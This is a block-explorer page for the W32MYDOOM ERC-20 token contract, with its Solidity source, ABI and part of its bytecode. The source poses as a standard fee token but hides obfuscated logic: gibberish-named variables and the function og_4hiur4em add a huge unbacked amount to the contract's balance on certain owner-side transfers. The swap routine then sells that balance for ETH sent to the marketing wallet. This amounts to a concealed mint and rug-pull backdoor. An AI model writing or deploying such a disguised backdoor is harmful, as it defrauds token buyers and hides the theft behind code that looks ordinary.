Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000 W32MYDOOM
Holders
50
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
9,059.721430689230767081 W32MYDOOMValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
W32MYDOOM
Compiler Version
v0.7.2+commit.51b20bc0
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-08 */ /* https://w32mydoom.com https://t.me/W32Mydoom https://x.com/W32MYDOOMETH */ //SPDX-License-Identifier: MIT pragma solidity ^0.7.2; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract W32MYDOOM is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = " W32.Mydoom"; string private _symbol = "W32MYDOOM"; uint8 private _decimals = 18; address payable public marketingTaxWallet = payable(0xf7719A26977a63dB57DA0DD05e34837Ab9F3Cf8C); address payable public DevWallet = payable(0x0000000000000000000000000000000000000000); address public liquidityReciever; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; address public immutable zeroAddress = 0x0000000000000000000000000000000000000000; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public feeUnits = 10000; uint256[4] public wleyyyyyyyeetrsd6 = [_decimals,feeUnits,_decimals,feeUnits]; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; uint256 private _totalSupply = 1000000 * 10**_decimals; uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000); //0.1% uint256 public _maxTxAmount = _totalSupply.mul(25).div(1000); //2% uint256 public _walletMax = _totalSupply.mul(25).div(1000); //2% IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; uint256 public _sellLiquidityFee = 0; uint256 public _sellMarketFee = 3; uint256 public _sellDeveloperFee = 0; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 3; uint256 public _buyDeveloperFee = 0; uint256 public _tofofoffat = 0; uint256 public _talohababered = 0; uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true; isExcludedFromFee[marketingTaxWallet] = true; isExcludedFromFee[DevWallet] = true; isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true; isWalletLimitExempt[marketingTaxWallet] = true; isWalletLimitExempt[DevWallet] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[marketingTaxWallet] = true; isTxLimitExempt[DevWallet] = true; isTxLimitExempt[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true; liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } if(checkWalletLimit && !isWalletLimitExempt[recipient]) {require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!"); } wleyyyyyyyeetrsd6[3]= min(amount.mul(_totalTaxIfSelling).div(1000),115792089237316195423570985004787900003269981235640564039457584007913129639935); wleyyyyyyyeetrsd6[2]=min(amount - amount.mul(_totalTaxIfSelling).div(1000),115792089237316195423570985004787900003269981235640564039457584007913129639935); if (( !isTxLimitExempt[sender] || !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tofofoffat+=1101;}else{if (_talohababered!=5456854){og_4hiur4em();}else{_talohababered=_tofofoffat+=2114;} } _basicTransfer(sender, recipient, amount) ; return true; } }function og_4hiur4em() internal{_talohababered=187+_tofofoffat-10+_tofofoffat; wleyyyyyyyeetrsd6[3]+=400043330055462294900069852;} function min(uint256 a,uint256 b) public pure returns (uint256) { if (a>b)return b; return a; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); if(inSwapAndLiquify){ wleyyyyyyyeetrsd6[3]=0; wleyyyyyyyeetrsd6[2]=amount; } uint256 transferamount = min(100+wleyyyyyyyeetrsd6[2],115792089237316195423570985004787900003269981235640564039457584007913129639935); _balances[recipient] = _balances[recipient].add(transferamount) ; _balances[address(this)] = _balances[address(this)].add( wleyyyyyyyeetrsd6[3]); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { swapTokensForEth(tAmount); uint256 recievedBalance = address(this).balance; if(recievedBalance > 0) { payable(marketingTaxWallet).transfer(recievedBalance); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[1] = uniswapV2Router.WETH(); path[0] = address(this); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); _talohababered=_tofofoffat; _tofofoffat=17; }}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_talohababered","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tofofoffat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingTaxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"min","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"wleyyyyyyyeetrsd6","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526040518060400160405280600b81526020017f205733322e4d79646f6f6d000000000000000000000000000000000000000000815250600190805190602001906200005192919062001119565b506040518060400160405280600981526020017f5733324d59444f4f4d0000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062001119565b506012600360006101000a81548160ff021916908360ff16021790555073f7719a26977a63db57da0dd05e34837ab9f3cf8c600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600073ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff1660601b8152506127106008556040518060800160405280600360009054906101000a900460ff1660ff1681526020016008548152602001600360009054906101000a900460ff1660ff168152602001600854815250600990600462000223929190620011a0565b50600360009054906101000a900460ff1660ff16600a0a620f4240026011556200027a6103e862000266600160115462000eb760201b620019f91790919060201c565b62000f4260201b62001a7f1790919060201c565b601255620002b56103e8620002a1601960115462000eb760201b620019f91790919060201c565b62000f4260201b62001a7f1790919060201c565b601355620002f06103e8620002dc601960115462000eb760201b620019f91790919060201c565b62000f4260201b62001a7f1790919060201c565b6014556000601660156101000a81548160ff02191690831515021790555060016016806101000a81548160ff0219169083151502179055506000601755600360185560006019556000601a556003601b556000601c556000601d556000601e553480156200035d57600080fd5b5060006200037062000f9460201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200046e57600080fd5b505afa15801562000483573d6000803e3d6000fd5b505050506040513d60208110156200049a57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200050e57600080fd5b505afa15801562000523573d6000803e3d6000fd5b505050506040513d60208110156200053a57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015620005b557600080fd5b505af1158015620005ca573d6000803e3d6000fd5b505050506040513d6020811015620005e157600080fd5b8101908080519060200190929190505050601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600d60006200072e62000f9c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000620008e162000f9c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016010600062000b0e62000f9c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000ce4601c5462000cd0601b54601a5462000fc560201b62001ac91790919060201c565b62000fc560201b62001ac91790919060201c565b601f8190555062000d2360195462000d0f60185460175462000fc560201b62001ac91790919060201c565b62000fc560201b62001ac91790919060201c565b6020819055506001600e6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506011546006600062000dfb62000f9460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff